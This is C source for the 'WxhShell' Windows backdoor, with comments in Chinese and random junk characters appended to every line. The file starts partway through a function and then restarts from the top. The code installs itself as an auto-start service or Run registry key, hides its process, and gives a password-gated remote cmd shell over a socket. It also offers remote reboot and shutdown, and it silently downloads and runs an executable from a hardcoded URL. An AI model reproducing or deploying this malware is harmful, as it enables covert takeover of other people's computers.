    if(Boot(REBOOT)) O03F@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9y!M'V  
    else { %?3$~d\n  
    closesocket(wsh); H#M;TjR  
    ExitThread(0); 0a9[}g1=#  
    } l{QlJ>%~{;  
    break; 5Y 7 %Z  
    } m2HO .ljc  
  // 关机 OaKr_m  
  case 'd': { tkQrxa|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !yvw5As%  
    if(Boot(SHUTDOWN)) @~&|BvK% \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1:RK~_E  
    else { tr58J% Mu  
    closesocket(wsh); m=TZfa^r  
    ExitThread(0); F$ckW'V  
    } NtmmPJ|5  
    break; qOAP_\@T  
    } k*OHI/uiow  
  // 获取shell >`^;h]Q  
  case 's': { ?69E_E  
    CmdShell(wsh); ]@m`bs_6  
    closesocket(wsh); #\ECQF  
    ExitThread(0); 7Y)i>[u3  
    break; V/xjI<,  
  } 0+K<;5"63d  
  // 退出 `a[ V_4wO  
  case 'x': { j )wrF@W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7[0<,O6Q  
    CloseIt(wsh); *TrpW?]Y&  
    break; J3XG?' }  
    } ve\@u@K^  
  // 离开 (Vn3g ra  
  case 'q': { |tC=  j.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nt@uVwfQ  
    closesocket(wsh); N;DE,[:<  
    WSACleanup(); fymmA faR  
    exit(1);  c& $[a%s  
    break; *to#ZMR;!  
        } i*8j|  
  } l3+G]C&<  
  } K+d{R=s^  
(:^YfG~e  
  // 提示信息 {P3gMv;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %_G '#Bn<  
} sX ]gL  
  } K"!U&`T  
t qUBl?i  
  return; Zq 'FOzs  
} RU~Pa+H  
cYvt!M\ed  
// shell模块句柄 1d$wP$  
int CmdShell(SOCKET sock) W)^%/lAh  
{ %0({ MU  
STARTUPINFO si; q,OCA\  
ZeroMemory(&si,sizeof(si)); *,)1Dcv(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J\ N&u#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &XW ~l>!+  
PROCESS_INFORMATION ProcessInfo; 5=fS^]- F  
char cmdline[]="cmd"; )(rr1^Xer  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^Nt^.xi7  
  return 0; w4R~0jXy  
} ti3S'K0t  
3T>6Q#W5eO  
// 自身启动模式 wv=U[:Y  
int StartFromService(void) i ~)V>x  
{ \9~Q+~@{G  
typedef struct F&C< = l\X  
{ Urol)_3X  
  DWORD ExitStatus; `)kxFD_bH  
  DWORD PebBaseAddress; :2+z_+k}<  
  DWORD AffinityMask; 7V5kYYR^F  
  DWORD BasePriority; ,Y16m{<eC  
  ULONG UniqueProcessId; \tA@A  
  ULONG InheritedFromUniqueProcessId;  ~fs} J  
}   PROCESS_BASIC_INFORMATION; o}D }Q"=A  
4;(W0RQa  
PROCNTQSIP NtQueryInformationProcess; CtUAbR  
flz7{W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]AZCf`7/?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~jzT;9:  
p@h<u!rL8  
  HANDLE             hProcess; @LY[kt6o  
  PROCESS_BASIC_INFORMATION pbi; lv~ga2>z  
tv2k&\1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C+_UI x]A  
  if(NULL == hInst ) return 0; ?0-3J )kW  
`=Rxnl,<U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r9<#R=r)}J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !| q19$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Q]/=HK  
mE'HRv  
  if (!NtQueryInformationProcess) return 0; H_ NoW  
n0t+xvNDF_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wod(P73?  
  if(!hProcess) return 0; o=PW)37>  
AG#Mj(az!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1;!dTh  
Pa=xc>m^  
  CloseHandle(hProcess); L>lxkq8!Q  
[h>A<O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fJ=(oF=  
if(hProcess==NULL) return 0; k^#*x2b  
4^9qs%&  
HMODULE hMod; >wR)p\UEb  
char procName[255]; s7\Ee-x)s  
unsigned long cbNeeded; E_P,>f  
Pj*]%V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |h&okR+_,  
JUJrtK S  
  CloseHandle(hProcess); di ]CYLf  
bxWzm|  
if(strstr(procName,"services")) return 1; // 以服务启动 K.Cx 9  
[#AI!-  
  return 0; // 注册表启动 7\H_9o0$  
} 1c*:" k  
twt's,dO  
// 主模块 WpMm%G~'4t  
int StartWxhshell(LPSTR lpCmdLine) '5A&c(  
{ <-gGm=R_$  
  SOCKET wsl; V0*MY{x#S  
BOOL val=TRUE; KI].T+I  
  int port=0; !Q}Bz*Y  
  struct sockaddr_in door; +:/.\3v71  
P%d3fFzK  
  if(wscfg.ws_autoins) Install(); WDr=+=Zj  
{cjp8W8hS  
port=atoi(lpCmdLine); ?B`c <H"  
.3wx}!:*|  
if(port<=0) port=wscfg.ws_port; Ci[Ja#p7$h  
! GtF%V  
  WSADATA data; -I z,vd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TxKNDu  
dsK*YY jH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Y`8Ee4vH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !u/c'ZLZ>  
  door.sin_family = AF_INET; i-4?]h k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CUft  
  door.sin_port = htons(port); @Y ?p-&  
5kHU'D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VkId6k:>6C  
closesocket(wsl); +xU=7chA  
return 1; fF5\\_,  
} "y ;0}9]n1  
jS|jPk|I.  
  if(listen(wsl,2) == INVALID_SOCKET) { XAB/S8e  
closesocket(wsl); 7{VN27Fa_  
return 1; _Om5w p=:  
} R-2Aby ts2  
  Wxhshell(wsl); 0OnqKgf  
  WSACleanup(); }_Y\6fcd  
' R= OeH  
return 0;  Sg(\+j=  
_+Uf5,.5yU  
} {>Qs+]  
Bi0&F1ZC!  
// 以NT服务方式启动 vCtnjWGX}/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \.F|c  
{ ;Wn0-`_1,  
DWORD   status = 0; q1A0-W#4  
  DWORD   specificError = 0xfffffff; "rrE_  
iE]^ 6i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I@1VX5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Yi 4Ia  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "msPH<D  
  serviceStatus.dwWin32ExitCode     = 0; w-Q=oEt  
  serviceStatus.dwServiceSpecificExitCode = 0; R78P](1\>  
  serviceStatus.dwCheckPoint       = 0; ! OOOc  
  serviceStatus.dwWaitHint       = 0; ~`0=-Qkd  
("=B,%F_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A8ClkLC;I  
  if (hServiceStatusHandle==0) return; JaN53,&<  
7+$P6[*  
status = GetLastError(); n]K{-C;  
  if (status!=NO_ERROR) "&\]1A}Z-x  
{ wFJ*2W:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y )7;"3Q<  
    serviceStatus.dwCheckPoint       = 0; = d!YM6G  
    serviceStatus.dwWaitHint       = 0; C`aUitL}  
    serviceStatus.dwWin32ExitCode     = status; OjK+`D_C  
    serviceStatus.dwServiceSpecificExitCode = specificError; R1/mzPG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yp pZ@  
    return; vtq47i  
  } WmblY2  
vs*@)'n0}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j$k/oQ  
  serviceStatus.dwCheckPoint       = 0; %'9&JsO  
  serviceStatus.dwWaitHint       = 0; Ft@ZK!'@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yq`  ,)  
} `CG% Y>+  
prGp/"E  
// 处理NT服务事件,比如:启动、停止 zKf0 :X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :eSwXDy&  
{ KPa@~rU  
switch(fdwControl) - ysd`&  
{ )!sjXiC!h  
case SERVICE_CONTROL_STOP: ?!bA#aSbl5  
  serviceStatus.dwWin32ExitCode = 0; T 6=~vOzTJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <7j"CcJzZ  
  serviceStatus.dwCheckPoint   = 0; GJBMaT  
  serviceStatus.dwWaitHint     = 0; @nM+*0 $d  
  { >NA{**$0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bhCAx W  
  } ahw0}S  
  return; ?'OL2 ~  
case SERVICE_CONTROL_PAUSE: ro^T L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .b<wNUzP  
  break; l R^W*w4y  
case SERVICE_CONTROL_CONTINUE: zzX9Q:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {<2q  
  break; l, -q:8  
case SERVICE_CONTROL_INTERROGATE: NOtwgZ-  
  break; Y_nlIcu  
}; -M-y*P)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f/i[? gw  
} rU7t~DKS  
9|>5;Ej  
// 标准应用程序主函数 B(pHo&ox  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U> {CG+X  
{ 31mlnDif  
QaAMiCZFR  
// 获取操作系统版本 ^K!R4Y4t  
OsIsNt=GetOsVer(); (FOJHjtkM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :;o?d&C  
tsf !Q  
  // 从命令行安装 n:%A4*  
  if(strpbrk(lpCmdLine,"iI")) Install(); AKAxfnaR  
Jv D`RUh  
  // 下载执行文件 Cx8  H  
if(wscfg.ws_downexe) { .Mzrj{^Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `u7twW*U2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ap`D{u/  
} ~h444Hp=  
RH;Kbu  
if(!OsIsNt) { Cta!"=\  
// 如果时win9x,隐藏进程并且设置为注册表启动 =5M '+>  
HideProc(); 1i$OcN?x%  
StartWxhshell(lpCmdLine); 6hqqZ  
} T!Uf PfEI  
else %* @hS`  
  if(StartFromService()) p;{w0uld"  
  // 以服务方式启动 P/8z  
  StartServiceCtrlDispatcher(DispatchTable); fU4{4M+9"  
else '59l.  
  // 普通方式启动 liVDBbS_A?  
  StartWxhshell(lpCmdLine); 3$kElq[  
bt?)ryu  
return 0; ~;nW+S$o  
} 7`K)7  
9S)A6]  
:']O4v#^  
S3YAc4  
=========================================== "QV1G'  
SrXuiiK  
r A9Rz^;xa  
9!Vp-bo  
b]\V~ZaXG  
'8fh(`  
" 'a enh j  
K?mly$  
#include <stdio.h> 2pAshw1G  
#include <string.h> QEl~uhc3  
#include <windows.h> H3q L&xL  
#include <winsock2.h> "RsH'`  
#include <winsvc.h> yykyvy  
#include <urlmon.h> edh<L/%D  
'5n=tRx  
#pragma comment (lib, "Ws2_32.lib") JLV?n,nF  
#pragma comment (lib, "urlmon.lib") ~8G cWy6  
~sc@49p  
#define MAX_USER   100 // 最大客户端连接数 |n.ydyu`  
#define BUF_SOCK   200 // sock buffer | b)N;t  
#define KEY_BUFF   255 // 输入 buffer +@K8:}lOW  
Z!qF0UDj  
#define REBOOT     0   // 重启 P+;@?ofB  
#define SHUTDOWN   1   // 关机 =v/x&,Uj@6  
Vq#_/23=$y  
#define DEF_PORT   5000 // 监听端口 {X>U`0P  
F6#U31Q=  
#define REG_LEN     16   // 注册表键长度 "_/5{Nc$  
#define SVC_LEN     80   // NT服务名长度 @EcY& mP)  
BGVy \F<  
// 从dll定义API &8 4Izs/[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QjwCY=PK!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {m<!-B95  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @GE:<'_:{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l ~ /y  
\{`*`WQF  
// wxhshell配置信息 U>_#,j  
struct WSCFG { 9:6d,^X  
  int ws_port;         // 监听端口 *gXm&/2*  
  char ws_passstr[REG_LEN]; // 口令 7S9Q{  
  int ws_autoins;       // 安装标记, 1=yes 0=no bLyG3~P;0  
  char ws_regname[REG_LEN]; // 注册表键名 -<B{?D  
  char ws_svcname[REG_LEN]; // 服务名 NbW5a3=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <(-4?"1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9 !qVYU42(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a fhZM$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Q<*H<e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _7w2E   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yj{:%Km:`  
9 8eS f  
}; MHKB:t]hA  
Gu9x4p  
// default Wxhshell configuration j\8'P9~%  
struct WSCFG wscfg={DEF_PORT, EM.rO/qcW  
    "xuhuanlingzhe", uDi#a~m@  
    1, V/7?]?!xu  
    "Wxhshell", prg8Iq'w  
    "Wxhshell", A)q,VSR8  
            "WxhShell Service", 4lfJc9J  
    "Wrsky Windows CmdShell Service", "t" &6\  
    "Please Input Your Password: ", >zAI#N4  
  1, k|T0Bly3P  
  "http://www.wrsky.com/wxhshell.exe", kXbdR  
  "Wxhshell.exe" abM4G  
    }; Yhd|1,m9f  
mF !=H%  
// 消息定义模块 CiGN?1|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 ,?==?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %S<( z5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k)R>5?_  
char *msg_ws_ext="\n\rExit."; c F (]`49(  
char *msg_ws_end="\n\rQuit."; JP<Z3 A2q  
char *msg_ws_boot="\n\rReboot..."; ~0>{PD$@  
char *msg_ws_poff="\n\rShutdown..."; <=,KP)   
char *msg_ws_down="\n\rSave to "; >h m<$3  
wc'K=;c  
char *msg_ws_err="\n\rErr!"; m=< ;)  
char *msg_ws_ok="\n\rOK!"; XL7jUi_4:L  
n`hes_{,g  
char ExeFile[MAX_PATH]; @*c ) s_  
int nUser = 0; L"6@3  
HANDLE handles[MAX_USER]; kY6))9 O  
int OsIsNt; QP e}rQnm  
\;A\ vQ[  
SERVICE_STATUS       serviceStatus; D0&{iZ(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J ;wA  
(8(z42  
// 函数声明 E qva] 4  
int Install(void); dj76YK  
int Uninstall(void); 6gfdXVN5  
int DownloadFile(char *sURL, SOCKET wsh); qqYH}%0dz  
int Boot(int flag); BDg6Z I<n  
void HideProc(void); k]`3if5>  
int GetOsVer(void); []M+(8Z_P  
int Wxhshell(SOCKET wsl); uv[e0,@  
void TalkWithClient(void *cs); n[/|M  
int CmdShell(SOCKET sock); %j=,c{`Q  
int StartFromService(void); 7>m#Y'ppl@  
int StartWxhshell(LPSTR lpCmdLine); +6{KrREX)  
ngJES` 0d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oB$D&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rkl/5z??  
'4A8\&lQO  
// 数据结构和表定义 cZ7b$MZ%9  
SERVICE_TABLE_ENTRY DispatchTable[] = -j9R%+YW<  
{ Q'^]lVY  
{wscfg.ws_svcname, NTServiceMain}, !lF|90=  
{NULL, NULL} 6X:- Z 3  
}; #| 8!0]n'  
Sk$ XC  
// 自我安装 T`=N^Ca1!`  
int Install(void) )N2yhdcqI  
{ .n`MPx'  
  char svExeFile[MAX_PATH]; ";e0-t6:  
  HKEY key; $sO}l  
  strcpy(svExeFile,ExeFile); 7j& l2Z  
<_H0Q_/(  
// 如果是win9x系统,修改注册表设为自启动 W3K"5E0ck  
if(!OsIsNt) { YAZ=-@]`\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bct&ge7YX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o=_4v ^  
  RegCloseKey(key); <..%@]+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|FQd3o)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _wf"E(c3D  
  RegCloseKey(key); /7h%sCX  
  return 0; |P2GL3NR  
    } ^ :Q |,oy  
  } ' n~N*DH  
} =k`(!r2"#  
else { 6SsZK)X  
DD'<zL[  
// 如果是NT以上系统,安装为系统服务 W.n@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R< xxwjt  
if (schSCManager!=0) ^LT9t2  
{ +.HQ+`8z]  
  SC_HANDLE schService = CreateService 'eqvK|Uj:  
  ( jt2 m-*aP  
  schSCManager, Y@u{73H  
  wscfg.ws_svcname, hv .Mf.m  
  wscfg.ws_svcdisp, !HDk]   
  SERVICE_ALL_ACCESS, =fi.*d?$7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V|HSIJ#J  
  SERVICE_AUTO_START, ;wprHXjq  
  SERVICE_ERROR_NORMAL, fC%;|V'Nd  
  svExeFile, qBX<{[  
  NULL, EGGy0ly  
  NULL, XW]|Mv[M  
  NULL, 1xq1te)  
  NULL, Yjk A^e  
  NULL }.zgVL L  
  ); ~rY<y%K  
  if (schService!=0) wQnr*kyza  
  { K{>O. 5  
  CloseServiceHandle(schService); ^"+cJ)  
  CloseServiceHandle(schSCManager); %v~j10e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a/^Yg rC\T  
  strcat(svExeFile,wscfg.ws_svcname); x'JfRz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fBd +gT\S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TJsT .DWW~  
  RegCloseKey(key); 9f,HjRP  
  return 0; E4y"$U%.  
    } #^#)OQq]  
  }  |Be.r{l  
  CloseServiceHandle(schSCManager); -R7f/a8  
} NK#Dq&W+&  
} [EGE|   
a/)TJv  
return 1; u{p\8v%7  
} Bdbw!zRR$  
JBUJc  
// 自我卸载 N{p2@_fnB  
int Uninstall(void) <O\z`aA'q  
{ p6}jCGJ  
  HKEY key; *%)L?*  
vlj|[joXw  
if(!OsIsNt) { NKd@ Kp`,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 cIVK}&  
  RegDeleteValue(key,wscfg.ws_regname); )s=z i"  
  RegCloseKey(key); ,CM$A}7[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tu/JhP/g,`  
  RegDeleteValue(key,wscfg.ws_regname); l3iL.?&Pa  
  RegCloseKey(key); "F[VqqD  
  return 0; l1W5pmhK]'  
  } x-Mp6  
} 6o1.?t?  
} QdW%5lM+  
else { bNaJ{Dm$R  
@MB;Ez v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >9u6@  
if (schSCManager!=0) 5E!|-xD  
{ Ugdm"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~C!vfPC  
  if (schService!=0) B|GJboQ  
  { BxZop.zwE(  
  if(DeleteService(schService)!=0) { Bxa],inuZ  
  CloseServiceHandle(schService); ?4lAL  
  CloseServiceHandle(schSCManager); uqO51V~  
  return 0; J0=`n (48B  
  } HWefuj  
  CloseServiceHandle(schService); M$~h(3  
  } }=GyBnXu  
  CloseServiceHandle(schSCManager); iPFYG  
} BEI/OGp  
} |[{;*wtv  
GO?-z0V  
return 1; SpkVV/  
} %ri4nKGS  
BklB3*n  
// 从指定url下载文件 xd .I5  
int DownloadFile(char *sURL, SOCKET wsh) O5=ggG  
{ Y\%}VD2k  
  HRESULT hr; M3t_!HP}!  
char seps[]= "/"; f`IgfJN  
char *token; "rKIXy  
char *file; $&e(V6A@  
char myURL[MAX_PATH]; xY~ DMcO?  
char myFILE[MAX_PATH]; BO9Z "|"  
f$ Ap\(.  
strcpy(myURL,sURL); mJsYY,b8  
  token=strtok(myURL,seps); Iiy:<c  
  while(token!=NULL) ynDx'Q*N'  
  { M5x!84  
    file=token; pz$$K?  
  token=strtok(NULL,seps); NqwVs VL  
  } [{{?e6J  
Kq S2  
GetCurrentDirectory(MAX_PATH,myFILE); h ?ia4t  
strcat(myFILE, "\\"); +I Ze`M%n  
strcat(myFILE, file); ~.@fk}'R  
  send(wsh,myFILE,strlen(myFILE),0); .nSupTyG  
send(wsh,"...",3,0); yav)mO~QU6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c^6`"\X^g  
  if(hr==S_OK) iZSSd{jO  
return 0; XsG]-Cw  
else Cir =(  
return 1; Ov<3?)ok  
)-QNWN H  
} 18n84RkI9  
6Ss{+MF|v  
// 系统电源模块 }agl:~C  
int Boot(int flag) g-:)} 8d6  
{ kK1qFe?]  
  HANDLE hToken; {&<}*4D  
  TOKEN_PRIVILEGES tkp; 7O9s 5  
Z~,.l  
  if(OsIsNt) { )R +o8C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #y*=UV|h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y(]|jRo  
    tkp.PrivilegeCount = 1; b #^aM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1`}fbX;"m)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )4`Ml*7x  
if(flag==REBOOT) { QhG-1P3#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y="SzPl  
  return 0; V%0.%/<#5  
} rgYuF,BT.  
else { nM; G; T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 28)TXRr-  
  return 0; b "Mq7&cf  
} #VOjnc/rW  
  } *M|\B|A.  
  else { z8j(SI;3  
if(flag==REBOOT) { qE`=^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rqFs[1wr>R  
  return 0; #pe{:f?  
} mWusRgj+8  
else { OhW=F2OIV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8@fDn(]w  
  return 0; O9|'8"AF  
}  hY1|qp  
} Asl H V@K  
PD}R7[".>  
return 1; _RW[]MN3*  
} ).]m@g:ew  
Hr+-ndH!Pq  
// win9x进程隐藏模块 `es($7}P_W  
void HideProc(void) [[ e| GQ  
{ 3opLLf_g  
b66X])+4jE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pq[mM!;#v  
  if ( hKernel != NULL ) w}.'Tebu  
  { [Kj:~~`T   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0v@/I<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AIm$in`P  
    FreeLibrary(hKernel); jOb[h=B"  
  } nP3GI:mjL  
|wJZU  
return; YF -w=Y6  
} HLe^|  
$CmX &%L=  
// 获取操作系统版本 vaj66nV  
int GetOsVer(void) IPO[J^#Me  
{ O8r"M8  
  OSVERSIONINFO winfo; ^)q2\ YE;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (J*w./  
  GetVersionEx(&winfo); )zXyV]xe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y(y 9l{'  
  return 1; W"kw>JEt  
  else VM]IL%AN  
  return 0; vs1Sh?O  
} s3-ktZ@  
>fye^Tx  
// 客户端句柄模块 l;BX\S  
int Wxhshell(SOCKET wsl) Nr"N\yOA/  
{ -m160k3  
  SOCKET wsh; aE BP9RX}z  
  struct sockaddr_in client; eh(Q^E;*  
  DWORD myID; ,0Zn hS)kq  
%EGr0R(  
  while(nUser<MAX_USER) ^V}R(gDu}s  
{ B/=q_.1F>  
  int nSize=sizeof(client); x~;EH6$5'/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tHtV[We.:  
  if(wsh==INVALID_SOCKET) return 1; /Tj"Fl\h  
<M,H9^&#l3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r.W,-%=bL  
if(handles[nUser]==0) rh`.$/^  
  closesocket(wsh); Yg)V*%0n  
else M%{?\)s  
  nUser++; g`OOVaB  
  } -(w~LT$ "  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zw: C*sY  
z"K( bw6  
  return 0; q{GSsDo-:V  
} p%"yBpSK  
^v!im\ r  
// 关闭 socket DvX3/z#T  
void CloseIt(SOCKET wsh) Iv(Qa6(  
{ naI v=  
closesocket(wsh); .NkAD-k`  
nUser--; # \; >8  
ExitThread(0); 9>Uq$B  
} Ao":9r[V  
)M'UASB;8  
// 客户端请求句柄 ]1?=jlUl  
void TalkWithClient(void *cs) _~[?> cF%  
{ JT|u;Z*n  
@vQa\|j  
  SOCKET wsh=(SOCKET)cs; GzFE%< 9F  
  char pwd[SVC_LEN]; ,<3uc  
  char cmd[KEY_BUFF]; _IL2-c8  
char chr[1]; 3u*hT T  
int i,j; wm=RD98  
=x^l[>sz  
  while (nUser < MAX_USER) { xb>n&ym?  
b(RB G  
if(wscfg.ws_passstr) { 0[lsoYUq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  gt_X AH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A)z PaXZ  
  //ZeroMemory(pwd,KEY_BUFF); *v rW A  
      i=0; !\0F.*   
  while(i<SVC_LEN) { fYhR#FVI  
D#7_T KX  
  // 设置超时 ,?k%jcR  
  fd_set FdRead; 5#0e={X  
  struct timeval TimeOut; Ud#X@xK<h  
  FD_ZERO(&FdRead); T^$g N|  
  FD_SET(wsh,&FdRead); <jUrE[x  
  TimeOut.tv_sec=8; P>Q{He:  
  TimeOut.tv_usec=0; %l} Q?Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0)AM-/"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BF36V\  
=4zNo3IvL+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vJRnBq+y  
  pwd=chr[0]; W7L+8LU;  
  if(chr[0]==0xd || chr[0]==0xa) { 4TUtY:  
  pwd=0; @H\pipT_b  
  break; H#L#2M%  
  } Iy S"  
  i++; -|}%~0)/bH  
    } K 3Yw8t2J  
yW\XNX  
  // 如果是非法用户,关闭 socket {/d4PI7)tK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rLJ[FqS  
} &$qF4B*  
+2DE/wE]e+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BWUt{,?KU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j1YH9T#|D  
o\ngR\>  
while(1) { py{eX`(MS  
x _==Ss  
  ZeroMemory(cmd,KEY_BUFF); XDk'2ycv  
H&X:!xa5  
      // 自动支持客户端 telnet标准   A Jyq>0p  
  j=0; F>dwLbnb  
  while(j<KEY_BUFF) { :N@U[Wx0A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %bP~wl~  
  cmd[j]=chr[0]; MZ|\S/  
  if(chr[0]==0xa || chr[0]==0xd) { Yb[n{.%/g  
  cmd[j]=0; zF5q=9 4$  
  break; \=!H2M  
  } 5`{vE4A]q  
  j++; )O3jQ_q=  
    } mG)8U{L  
b~_B [cf  
  // 下载文件 4:vTxNs&S  
